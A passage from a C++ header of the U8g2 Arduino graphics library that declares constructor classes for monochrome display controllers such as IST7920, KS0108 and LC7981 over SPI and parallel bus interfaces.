u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_IST7920_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST7920_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST7920_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_1_6800 : public U8G2 {\n  public: U8G2_IST7920_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_1_8080 : public U8G2 {\n  public: U8G2_IST7920_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_IST7920_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST7920_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST7920_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_2_6800 : public U8G2 {\n  public: U8G2_IST7920_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_2_8080 : public U8G2 {\n  public: U8G2_IST7920_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_IST7920_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST7920_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST7920_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_F_6800 : public U8G2 {\n  public: U8G2_IST7920_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST7920_128X128_F_8080 : public U8G2 {\n  public: U8G2_IST7920_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SBN1661_122X32_1 : public U8G2 {\n  public: U8G2_SBN1661_122X32_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() {\n    u8g2_Setup_sbn1661_122x32_1(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset);\n  }\n};\nclass U8G2_SBN1661_122X32_2 : public U8G2 {\n  public: U8G2_SBN1661_122X32_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() {\n    u8g2_Setup_sbn1661_122x32_2(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset);\n  }\n};\nclass U8G2_SBN1661_122X32_F : public U8G2 {\n  public: U8G2_SBN1661_122X32_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() {\n    u8g2_Setup_sbn1661_122x32_f(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset);\n  }\n};\nclass U8G2_SED1520_122X32_1 : public U8G2 {\n  public: U8G2_SED1520_122X32_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() {\n    u8g2_Setup_sed1520_122x32_1(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset);\n  }\n};\nclass U8G2_SED1520_122X32_2 : public U8G2 {\n  public: U8G2_SED1520_122X32_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() {\n    u8g2_Setup_sed1520_122x32_2(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset);\n  }\n};\nclass U8G2_SED1520_122X32_F : public U8G2 {\n  public: U8G2_SED1520_122X32_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() {\n    u8g2_Setup_sed1520_122x32_f(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset);\n  }\n};\nclass U8G2_KS0108_128X64_1 : public U8G2 {\n  public: U8G2_KS0108_128X64_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ks0108_128x64_1(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_KS0108_128X64_2 : public U8G2 {\n  public: U8G2_KS0108_128X64_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ks0108_128x64_2(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_KS0108_128X64_F : public U8G2 {\n  public: U8G2_KS0108_128X64_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ks0108_128x64_f(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_KS0108_ERM19264_1 : public U8G2 {\n  public: U8G2_KS0108_ERM19264_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ks0108_erm19264_1(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_KS0108_ERM19264_2 : public U8G2 {\n  public: U8G2_KS0108_ERM19264_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ks0108_erm19264_2(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_KS0108_ERM19264_F : public U8G2 {\n  public: U8G2_KS0108_ERM19264_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ks0108_erm19264_f(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_T7932_150X32_1 : public U8G2 {\n  public: U8G2_T7932_150X32_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t7932_150x32_1(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_T7932_150X32_2 : public U8G2 {\n  public: U8G2_T7932_150X32_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t7932_150x32_2(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_T7932_150X32_F : public U8G2 {\n  public: U8G2_T7932_150X32_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t7932_150x32_f(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_HD44102_100X64_1 : public U8G2 {\n  public: U8G2_HD44102_100X64_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hd44102_100x64_1(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_HD44102_100X64_2 : public U8G2 {\n  public: U8G2_HD44102_100X64_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hd44102_100x64_2(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_HD44102_100X64_F : public U8G2 {\n  public: U8G2_HD44102_100X64_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_hd44102_100x64_f(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset);\n  }\n};\nclass U8G2_LC7981_160X80_1_6800 : public U8G2 {\n  public: U8G2_LC7981_160X80_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_160x80_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_160X80_2_6800 : public U8G2 {\n  public: U8G2_LC7981_160X80_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_160x80_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_160X80_F_6800 : public U8G2 {\n  public: U8G2_LC7981_160X80_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_160x80_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_160X160_1_6800 : public U8G2 {\n  public: U8G2_LC7981_160X160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_160x160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_160X160_2_6800 : public U8G2 {\n  public: U8G2_LC7981_160X160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_160x160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_160X160_F_6800 : public U8G2 {\n  public: U8G2_LC7981_160X160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_160x160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_240X128_1_6800 : public U8G2 {\n  public: U8G2_LC7981_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_240X128_2_6800 : public U8G2 {\n  public: U8G2_LC7981_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_240X128_F_6800 : public U8G2 {\n  public: U8G2_LC7981_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_240X64_1_6800 : public U8G2 {\n  public: U8G2_LC7981_240X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_240x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_240X64_2_6800 : public U8G2 {\n  public: U8G2_LC7981_240X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_240x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_240X64_F_6800 : public U8G2 {\n  public: U8G2_LC7981_240X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_240x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_128X128_1_6800 : public U8G2 {\n  public: U8G2_LC7981_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_128X128_2_6800 : public U8G2 {\n  public: U8G2_LC7981_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LC7981_128X128_F_6800 : public U8G2 {\n  public: U8G2_LC7981_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, 